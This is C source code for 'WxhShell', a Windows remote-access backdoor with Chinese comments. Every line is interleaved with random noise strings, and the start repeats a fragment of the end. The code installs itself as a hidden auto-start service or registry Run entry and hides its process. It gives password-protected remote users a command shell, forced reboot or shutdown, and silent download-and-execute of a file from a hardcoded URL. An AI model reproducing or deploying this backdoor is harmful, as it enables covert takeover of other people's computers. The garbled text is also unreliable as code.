NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NEh5
u4[3JI> if (!NtQueryInformationProcess) return 0; j:{d'OV KBo/GBD]| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h $}&N if(!hProcess) return 0; j5;eSL@/ =-dk@s if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Y#0Je 9
&~Rj 9 CloseHandle(hProcess); we&g9j' 9L'R;H?L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y8 a![ if(hProcess==NULL) return 0; JY tM1d Pz1[ b$% HMODULE hMod; +9mnxU> char procName[255]; ye)CfP=ID\ unsigned long cbNeeded; 85 tQHm6j %maLo RJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RWi~34r ~Xg@,?Zr CloseHandle(hProcess); -\!"Kz/ =?f\o*J) if(strstr(procName,"services")) return 1; // 以服务启动 n1xN:A |:i``gFj return 0; // 注册表启动 6A]Ia4PL } u@$C i/J* GJY7vS^# // 主模块 7usf^g[dh int StartWxhshell(LPSTR lpCmdLine) 9ci=]C5o3K { S&@uY#_(*T SOCKET wsl; %K_[Bx{B BOOL val=TRUE; bqxbOQd int port=0; SPxgIP;IR struct sockaddr_in door; q*oUd/F8 1B;sSp.> if(wscfg.ws_autoins) Install(); Oi=>Usd eXI ^9uH port=atoi(lpCmdLine); ?+S& `%? E+AEV`- if(port<=0) port=wscfg.ws_port; >uuP@j 37 wm[Z WSADATA data; aUN!Sd2, if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J}qk:xGL c_]$UM[7L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 95,y@~*] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >`a)gky%~ door.sin_family = AF_INET; dIG(7~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z_Ox ' door.sin_port = htons(port); 3
[lF /s>ZT8vaAs if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HPAd@5d( closesocket(wsl); %Lexu)odW return 1; AfG!(AF` } g_}r)CgG| yG5T;O& if(listen(wsl,2) == INVALID_SOCKET) { #_}lF<k closesocket(wsl); +.Kmpw4 return 1; _^'fp } Dcq\1V.e`W Wxhshell(wsl); )p>BN|L WSACleanup(); <`sVu ,qak_bP return 0; l
tr=_ h3D8eR. } z]> 0A .!Kdi| a) // 以NT服务方式启动 4w^B&e% VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e@s+]a8D-k { 6I(y`pJ DWORD status = 0; Zr_{Z@IpU DWORD specificError = 0xfffffff; ;8;nY6Ie gEtDqq~y@ serviceStatus.dwServiceType = SERVICE_WIN32; "xlf6pm% serviceStatus.dwCurrentState = SERVICE_START_PENDING; `,4"[6S serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .
zvF!!z serviceStatus.dwWin32ExitCode = 0; Pv{ {zyc serviceStatus.dwServiceSpecificExitCode = 0; iLn)Z0<\o serviceStatus.dwCheckPoint = 0; zr?%k]A%UO serviceStatus.dwWaitHint = 0; vbmSbZ"y 4_J*
0=U hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M ]W'>g)G if (hServiceStatusHandle==0) return; u4NMJnX w-R>gdm status = GetLastError(); 'MPt K if (status!=NO_ERROR) 8zGe5Dn9 { 'i_od|19~h serviceStatus.dwCurrentState = SERVICE_STOPPED; k/O|ia6 serviceStatus.dwCheckPoint = 0; $BG4M?Y serviceStatus.dwWaitHint = 0; y@'8vOh` serviceStatus.dwWin32ExitCode = status; 5UR$Pn2a2 serviceStatus.dwServiceSpecificExitCode = specificError; Y:]~~-f\~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); dC_L~ }= return; EkM? Rs } q(e&{pbM) %up]"L&i serviceStatus.dwCurrentState = SERVICE_RUNNING; &}VGC=F;d serviceStatus.dwCheckPoint = 0; ePK^v_vBD serviceStatus.dwWaitHint = 0; oJR0sbikP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )MLOYX } ~d ~$fR xj)*K%re // 处理NT服务事件,比如:启动、停止 9zEO$<e o VOID WINAPI NTServiceHandler(DWORD fdwControl) I)V2cOrXM { {QTfD~z^K switch(fdwControl) \y{Bnp5h { \szx.IZT case SERVICE_CONTROL_STOP: oA}&o_Q% serviceStatus.dwWin32ExitCode = 0; ]|( (&Y
rl serviceStatus.dwCurrentState = SERVICE_STOPPED; f
GE+DjeA serviceStatus.dwCheckPoint = 0; g1JD8~a serviceStatus.dwWaitHint = 0; NTuS(7m { z)=D&\HX SetServiceStatus(hServiceStatusHandle, &serviceStatus); |dpOE<f[ } VjSb>k return; 3/>McZ@OH case SERVICE_CONTROL_PAUSE: W *0XV serviceStatus.dwCurrentState = SERVICE_PAUSED; }XWic88!~ break; /}-]n81m case SERVICE_CONTROL_CONTINUE: {7[^L1 serviceStatus.dwCurrentState = SERVICE_RUNNING; EQ8jxr<p break; MQ5#6vJ case SERVICE_CONTROL_INTERROGATE: a Umcs!@ break; %YM4x!6 }; nM34zVy SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;FQAL@"Yj } W*e6F?G XL >Vwd // 标准应用程序主函数 <33[qt~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :h=];^/E { jn>3(GRGC$ BJ<hP9# // 获取操作系统版本 SfyZ,0 OsIsNt=GetOsVer(); 4K[ E3aA GetModuleFileName(NULL,ExeFile,MAX_PATH); _)O1v%]"4 di>"\On- // 从命令行安装 z 3fS+x:E{ if(strpbrk(lpCmdLine,"iI")) Install(); {=PO`1H 3_~V(a // 下载执行文件 Ovv~ymj if(wscfg.ws_downexe) { }|%dN*', if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [94A?pn[z WinExec(wscfg.ws_filenam,SW_HIDE); ;U<;R } xmb]L:4F L
TZ3r/ if(!OsIsNt) { [0El z@.C // 如果时win9x,隐藏进程并且设置为注册表启动 6C4c.+S HideProc(); C$SuFL(pb StartWxhshell(lpCmdLine); g2JNa?z } 3ox%1x NA else I!dA{INN if(StartFromService()) CO%7^}xSE, // 以服务方式启动 GL_YT.(! StartServiceCtrlDispatcher(DispatchTable); 5'd$TC else 0=# :x()e // 普通方式启动 7/a[;`i*! StartWxhshell(lpCmdLine); d
}=fJ *%7 [{Loz return 0; gPh; } "}!|V)K ci0)kxUBF iagl^(s %%)"W
n#` =========================================== >0DQ<@ot: Z,)4(#b = ^90';ACFy F{0Z :f
G5?]) , 7KP " ,dhJ\cQ~ jzI70+E #include <stdio.h> Oq@+/UWX #include <string.h> ;{EIx*<d #include <windows.h> ~7+7{9g #include <winsock2.h> [Ul"I-K #include <winsvc.h> 3}(6z"r #include <urlmon.h> C]414Ibi Q)c3=.[> #pragma comment (lib, "Ws2_32.lib") v_mk{ #pragma comment (lib, "urlmon.lib") Y[)b".K S"'0lS
#define MAX_USER 100 // 最大客户端连接数 fI"sdzu^ #define BUF_SOCK 200 // sock buffer J9eOBom8e< #define KEY_BUFF 255 // 输入 buffer 6D|[3rXr 94VtGg=b} #define REBOOT 0 // 重启 waI?X2 #define SHUTDOWN 1 // 关机 dp#JvZb ?C)a0>L #define DEF_PORT 5000 // 监听端口 V5:ad (StX1g' #define REG_LEN 16 // 注册表键长度 60,z! Vv #define SVC_LEN 80 // NT服务名长度 ]8q#@%v} 7irpD7P>
// 从dll定义API WoM;) Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E|{(O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %"-bG'Yc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <G|i!Pm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j5m KJC oCfO:7 // wxhshell配置信息 GT.1,E,Vw struct WSCFG { 6&|hpp#[ int ws_port; // 监听端口 Y`F) UwKK char ws_passstr[REG_LEN]; // 口令 $B%wK`J int ws_autoins; // 安装标记, 1=yes 0=no }Q$}LR@ char ws_regname[REG_LEN]; // 注册表键名 yq. <,b=87 char ws_svcname[REG_LEN]; // 服务名 j9gn7LS char ws_svcdisp[SVC_LEN]; // 服务显示名 i(T[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 `-t8ag3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !LI6_Oq int ws_downexe; // 下载执行标记, 1=yes 0=no )5T82=[h< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fg$#ZCi char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /tm2b<G n(I,pF }; "DaE(S& Q^\m@7O
: // default Wxhshell configuration P:D;w2'Q struct WSCFG wscfg={DEF_PORT, 5aj%<r "xuhuanlingzhe", .~$!BWP 1, 7Tb[sc' "Wxhshell", /H4Z.|@ "Wxhshell", /RVwhA+c "WxhShell Service", '9{`Czc(Gb "Wrsky Windows CmdShell Service", ~c,CngeL0 "Please Input Your Password: ", -pmb-#`M 1, Gj_7wP$ "http://www.wrsky.com/wxhshell.exe", ^H"o=K8= "Wxhshell.exe" &F-
\t5X=i }; wE[gp+X~ 3rVfBz // 消息定义模块 BP4xXdG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c@3mfc{ char *msg_ws_prompt="\n\r? for help\n\r#>"; 0$A^ .M; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hf/ZaBn char *msg_ws_ext="\n\rExit."; (Bq^
D9 char *msg_ws_end="\n\rQuit."; l1bkhA b
char *msg_ws_boot="\n\rReboot..."; Y~xo=v( char *msg_ws_poff="\n\rShutdown..."; lArKfs/ char *msg_ws_down="\n\rSave to "; +7\d78U '-U&S char *msg_ws_err="\n\rErr!"; ]p8zT|bv char *msg_ws_ok="\n\rOK!"; }u9#S qk~m\U8r char ExeFile[MAX_PATH]; y2W|,=Vd int nUser = 0; VwudNjL HANDLE handles[MAX_USER]; 5?MaKNm } int OsIsNt; T;G<62`.h wz'= SERVICE_STATUS serviceStatus;
d^=9YRc SERVICE_STATUS_HANDLE hServiceStatusHandle; y\omJx=, e2e!"kEF // 函数声明 ;FQNO:NP int Install(void); NbC2N)L4 int Uninstall(void); KomMzG: int DownloadFile(char *sURL, SOCKET wsh); MaPOmS8? int Boot(int flag); fat;5XL@ void HideProc(void); 3eg6 CdT int GetOsVer(void); ?3lAogB int Wxhshell(SOCKET wsl); +Xp1=2Mq void TalkWithClient(void *cs); zuu<;^/R int CmdShell(SOCKET sock); :YQI1 q[6 int StartFromService(void); br^
A<@,d int StartWxhshell(LPSTR lpCmdLine); &~Pk*A_: *`}
!{
Mb VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jz}`-fU` VOID WINAPI NTServiceHandler( DWORD fdwControl ); VKkvf"X QM![tZt%; // 数据结构和表定义 O\CnKNk, SERVICE_TABLE_ENTRY DispatchTable[] = tLi91)oG { g<@Q)p*ow {wscfg.ws_svcname, NTServiceMain}, ),CKuq> {NULL, NULL} ? cXW\A( }; /IN#1I!K 5 w(nttYH // 自我安装 HKr}"`I. int Install(void) 43x2BW&& { Lb)rloca char svExeFile[MAX_PATH]; 6DU~6c=) HKEY key;
tKS[ strcpy(svExeFile,ExeFile); _RzFh (H5#r2h%Y // 如果是win9x系统,修改注册表设为自启动 ,{mv6?_ if(!OsIsNt) { m}u)C&2> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X;H\u6-|>6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NXQ=8o9,9 RegCloseKey(key); -%5#0Ogh
M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { re_nb)4g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .uVd' RegCloseKey(key); 6I: 6+n return 0; ,jEc4ih4 } HCsd$M;Hbv } 5x%Blkx } OLPY<ax else { $[}EV(#y F~i ~%f, // 如果是NT以上系统,安装为系统服务 4(sHUWT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d!w3LwZ if (schSCManager!=0) u7^(?"x { ;W+8X-B SC_HANDLE schService = CreateService 63 'X#S ( MT"&|Og schSCManager, )=sbrCl,C/ wscfg.ws_svcname, =6qTz3t wscfg.ws_svcdisp, J^`5L7CO SERVICE_ALL_ACCESS, -uWV(
,| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xp_m=QQsm SERVICE_AUTO_START, {g#4E0.A! SERVICE_ERROR_NORMAL, 5@%.wb4 svExeFile, 4uzMO < NULL, {aN pk,n NULL, =w}JAEE|(i NULL, g0bYO!gCr NULL, gs;^SRE I NULL ymyzbE ); J,:&U
wkv if (schService!=0) y] c1x=x { hVmnXT
3Z CloseServiceHandle(schService); t"Ci1"U CloseServiceHandle(schSCManager); En1LGi4# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u -P !2vT strcat(svExeFile,wscfg.ws_svcname); RYA@{.O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %0} ^M1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]VxC]a2 RegCloseKey(key); Y*$>d/E return 0; `:Gzjngc } oWL_Hh%-f` } H)i|?3Ip CloseServiceHandle(schSCManager); "5Y6.$Cuf! } ?!&%-R6* } Vn4wk>b}$2 :u./"[G return 1; GE(~d ' } 3PGAUQR#"q ')!X1A{ // 自我卸载 Oo@o$\+v int Uninstall(void) i4,p\rE0 { BH1h2OEe# HKEY key; / n_s"[I4 !}z'"l4i if(!OsIsNt) { Q8%_q"C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?T2>juf]5~ RegDeleteValue(key,wscfg.ws_regname); nV7Vc; RegCloseKey(key); o^vX\a?`u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l@Vv%w9H RegDeleteValue(key,wscfg.ws_regname); uyxYCc RegCloseKey(key); 7Vsp<s9bj return 0; A$3Rbn}" } IO)#O< } m9oOH5@K~ } H:]cBk^[, else { @2/|rq OIL8'xY.w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NDP"
@ if (schSCManager!=0) >4jE[$p]" { W\k8f+Ke SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?:J_+?{E if (schService!=0) H#_Zv] { Z;Hkx1 if(DeleteService(schService)!=0) { +q}t%K5 CloseServiceHandle(schService); 8^>c_%e} CloseServiceHandle(schSCManager); l P3|h* return 0; YND }P9 h } )Q'E^[Ua CloseServiceHandle(schService); g w([08 } A,9JbX CloseServiceHandle(schSCManager); |MFAP!rycS } Sy|GM~ } 4MzQH-U>/ h9)fXW return 1; %`yfi+e } GYx0U8MJ[e B={_}f // 从指定url下载文件 Q2VF+g, int DownloadFile(char *sURL, SOCKET wsh) o=3hWbe { n?.; *: HRESULT hr; W~/d2_|/ char seps[]= "/"; CpO_p%P char *token; aX^T[ char *file; Zk%@GOu\ char myURL[MAX_PATH]; x/umwT,o v char myFILE[MAX_PATH]; Bz/Vzc( yx5e strcpy(myURL,sURL); SlG v token=strtok(myURL,seps); E7fQ9] while(token!=NULL) I_<XL< { x 3=1/#9 file=token; ki9&AFs2X token=strtok(NULL,seps); !k)6r6 } yov~'S9 '\I(n|\ GetCurrentDirectory(MAX_PATH,myFILE); 2+gbMd4n strcat(myFILE, "\\"); p H y strcat(myFILE, file); C7FQc{ send(wsh,myFILE,strlen(myFILE),0); y4Jc|) send(wsh,"...",3,0); Cy]=Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); js<d"m* if(hr==S_OK) @gD)pH return 0; {*7MT}{( else Ai<
beUS return 1; |6*Bu1 3F2IL)Hn } :+ ,;5 = ^NvUrK // 系统电源模块 bV8+Eu int Boot(int flag) %xg+UW
} { \vAjg HANDLE hToken; eBrNhE-[G] TOKEN_PRIVILEGES tkp; D*%am|QL eWcqf/4?" if(OsIsNt) { [CI&4) # OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jmID@37t LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sf*)Z3f tkp.PrivilegeCount = 1; ]nhh|q9r{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NUFz'MPv AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5l6/5 if(flag==REBOOT) { 'QCIKCn< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a;HAuy`M x return 0; y|5s } I}4
PB+yu else { uQ5h5Cfz
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zqeQ return 0; vA/SrX. }
b/'bhE= } d05xn7%!{ else { ,Xn2xOP if(flag==REBOOT) { n%&L&G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ay16/7h@hi return 0; $D^\[^S }
IOl_J>D]F else { X.fVbePxUU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4XN
\p return 0; Qg*\aa94 } 0\dmp'j] } .EKlw## +/ukS6>gr return 1; M~:_^B } +Q5O$8i ?"x4u#x // win9x进程隐藏模块 C}8#yAS9M void HideProc(void) b(*\4n { E3uu vQ#| D\Ak-$kJ^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QL/KY G if ( hKernel != NULL ) A[Mke { ~:a1ELqVw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UM7@c7B? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u"v7shRp: FreeLibrary(hKernel); / FcRp ," } 9{u8fDm! {*yvvb return; U#3N90,N= } 9-42A7g^C F9r.DG$} // 获取操作系统版本 &6x(%o| int GetOsVer(void) g*V.u]U!i { (T%F^s5D OSVERSIONINFO winfo; 1q}LO2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V:n0BlZ,B GetVersionEx(&winfo); a"vzC$Hxd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v)5;~.+% return 1; [6!k:-t+ else }t)+eSUA return 0; jx}&%p X } -b-a21,m> .zO^"mXjS // 客户端句柄模块 n7!T{+ge int Wxhshell(SOCKET wsl) +A3/^C0 { $J7V]c*-b SOCKET wsh; ?2<)
Jw struct sockaddr_in client; mfraw2H DWORD myID; $C[z]}iOi X7*F~LFrj while(nUser<MAX_USER) 46C%at
M0} { ._}}@V_/ int nSize=sizeof(client); u[GZ~L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WcN4ff- if(wsh==INVALID_SOCKET) return 1; :aNjh -"[4E0g0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (p{X.X+ if(handles[nUser]==0) )d3
09O closesocket(wsh); ,?GwA@~$k: else j
3<Ci {3 nUser++; T)! }Wvv } dSGdK
$ XA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]\39# I{IB>j}8 return 0; '.|} } 1w>[ vpu#!(N // 关闭 socket Ik:G5m<ta void CloseIt(SOCKET wsh) `cGks { I-#!mFl closesocket(wsh); u+)!C*ho nUser--; mY 1l2 ExitThread(0); =Vg~ VD } yq~ ?{J1&;j* // 客户端请求句柄 +Br<;sW void TalkWithClient(void *cs) n_QuuUB { .}dLqw 7U [C=NL SOCKET wsh=(SOCKET)cs; lS=YnMs6a char pwd[SVC_LEN]; 6qZQ20h char cmd[KEY_BUFF]; \]x`f3F char chr[1]; 3!P^?[p3 int i,j; e9p/y8gC : /5+p>Ep} while (nUser < MAX_USER) { MfQ0O?oBp c&D+=
if(wscfg.ws_passstr) { @fd< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #aqnj+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); / 4Q=%n //ZeroMemory(pwd,KEY_BUFF); A[P7hMn i=0; wX] _Abk while(i<SVC_LEN) { *"^X)Y{c+l AH,?B*zGj // 设置超时 K'&,]r# fd_set FdRead; fN9{@)2Mz struct timeval TimeOut; !WyJ@pFU^ FD_ZERO(&FdRead); r6S FD_SET(wsh,&FdRead); ?wtKi#k'v# TimeOut.tv_sec=8; xM_#FxJb TimeOut.tv_usec=0; 2tz4Ag int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +:Zwo+\kSN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \KV.lG! SlsNtaNt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -l=C7e pwd=chr[0]; %jAc8~vW? if(chr[0]==0xd || chr[0]==0xa) { U#f* pwd=0; Zl5DlRuw break; L`t786
(M } )QAYjW!Z i++; zfU Do`V~ } AG >D,6Y tN{0C/B9 // 如果是非法用户,关闭 socket l&H-<Z.8m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {A}T^q!m] } <(E)M@2 uz8eS'8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P0UR{tK send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); caEIE0H~ n^'d8Y( while(1) { aMqt2{f+ i7H([b<_m ZeroMemory(cmd,KEY_BUFF); -n:2US< %[n5mF*` // 自动支持客户端 telnet标准 (0`rfYv5.R j=0; puOMtCI while(j<KEY_BUFF) { +aL6$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x.gz sd cmd[j]=chr[0]; |mhKD#: if(chr[0]==0xa || chr[0]==0xd) { oX6Cd:c- cmd[j]=0; >uCO=T,| break; D u<P^CE } ~Dg:siw j++; @.e4~qz\ } 42`Uq[5Y xEG:KSH // 下载文件 py$Gy-I~[ if(strstr(cmd,"http://")) { GUQ3XF\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]`-o\,lq if(DownloadFile(cmd,wsh)) jzi%[c<G send(wsh,msg_ws_err,strlen(msg_ws_err),0); *r>Y]VG;S else 1drg5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?~ybFrc } z{.&sr>+v else { D*L@I@
[ nR%w5oe switch(cmd[0]) { qLBQ!>lR
c'$y_] // 帮助 Ez
<YD case '?': { jhT/}"v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DI{Qs[ break; i(rYc } ?(s9dS,7wZ // 安装 Jn(|.eT| case 'i': { O-AC$C[d if(Install()) ; 180ct4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); dsEvpa$? else k8Dk;N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QKk7"2t| break; ,9OER!$y } N#J8 4i;ry // 卸载 M!G/5:VZ case 'r': { *"|f!t if(Uninstall()) ^g'uR@uU send(wsh,msg_ws_err,strlen(msg_ws_err),0); N]BH6 7< else w&U28"i> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :hHKm|1FE break; k H06Cb } 5G<`c // 显示 wxhshell 所在路径 *<9M|H~ case 'p': { SOD3MsAK char svExeFile[MAX_PATH]; Kd}%%L strcpy(svExeFile,"\n\r"); .Sm 8t$ strcat(svExeFile,ExeFile); RaiYq#X/ send(wsh,svExeFile,strlen(svExeFile),0); {s@&3i?ZiC break; /0L]Pf; } .ErR-p=- // 重启 ^b&hy&ag case 'b': { hzV%QDUpe send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Mt4`~`6 if(Boot(REBOOT)) *{fZA;<R send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Ej^"T:H_; else { @
/e{-Q closesocket(wsh); 8v)Z/R- ExitThread(0); kaZcYuT.9 } yrzyus break; Dmtsu2o } %)}_OXWf: // 关机 9dg+@FS}= case 'd': { `=TJw,q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S{cK~sZj if(Boot(SHUTDOWN)) 'pAq;2AA send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ud-c+, xX else { k%RQf0`T closesocket(wsh); WAr6Dv,8 ExitThread(0); ohPXwp?] } voN, u>U break; eET1f8B=L } 5IG#-Q(6sp // 获取shell .v) A|{:2 case 's': { `?N|{kb CmdShell(wsh); <l)I%1T_c closesocket(wsh); QswFISch ExitThread(0); m]++
! break; K`R } R*"zLJP // 退出 &'5j! case 'x': { }e1]Ib! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Oi!uJofW CloseIt(wsh); GQkI7C break; ()$tP3o } w3Qil[rg // 离开 h*NBSvn case 'q': { X{5(i3?S send(wsh,msg_ws_end,strlen(msg_ws_end),0); :EC[YAK+D closesocket(wsh); ^@maF<Jb WSACleanup(); G{s
q|1 exit(1); _'r&'s;<z break; xirZ.wj W } c+TCC%AJQI } d_Y7/_i } 5DeAH; mVyF M -` // 提示信息 _`]YWvh if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /vPcg } ID=^497
} WGMEZx ADZU?7) return; PwxRu } "IdN *K 6c#1Do(W+ // shell模块句柄 SQBe}FlktK int CmdShell(SOCKET sock) Xpf:I { X04JQLhy" STARTUPINFO si; o7@81QA!e ZeroMemory(&si,sizeof(si)); i\k>2df si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GA)t!Xg^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p?sC</R PROCESS_INFORMATION ProcessInfo; ]OA8H[U-eA char cmdline[]="cmd"; %wux#"8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &p^8zE s return 0; y[:xGf]8@ } #ruL+-8!< +,ZQ(
ZW // 自身启动模式 arj?U=zy int StartFromService(void) )1!*N)$ { 1O;q|p'9 typedef struct LZ*ZXFIg { w
]$Hr DWORD ExitStatus; nJo6;_MI! DWORD PebBaseAddress; Ut^ {4_EC DWORD AffinityMask; _QOZ`st DWORD BasePriority; t2q{;d~. ULONG UniqueProcessId; Dj@7vM%_ ULONG InheritedFromUniqueProcessId; t=(CCq_N, } PROCESS_BASIC_INFORMATION; 5XA{<)$ z0-`D.D@\ PROCNTQSIP NtQueryInformationProcess; s(Llz]E~ZX ]PjJy/vkjj static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b$1W> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9TbRrS09 *5|q_K
Pt HANDLE hProcess; <%]i7&8| PROCESS_BASIC_INFORMATION pbi; s8 0$ ":N
EI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uz;z+Bd^ if(NULL == hInst ) return 0; <2{-ey] ;sn]Blpq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S U$U g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nhP ua& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,O/ t6' $Q< >MB7 if (!NtQueryInformationProcess) return 0; <C,lHt -}9a% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j]'7"b5 if(!hProcess) return 0; ]728x["(19 avo[~ `. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1US4:6xX_ $UGX vCR CloseHandle(hProcess); #Z]l4d3{T K_sHZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "xKykSk if(hProcess==NULL) return 0; ?B~S4:9 gG6j>%y HMODULE hMod; bs=x>F char procName[255]; v46 5Z unsigned long cbNeeded; [GqQ6\ iSg^np if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KN-)m ta& wz=c#}0dB CloseHandle(hProcess); $@(+"
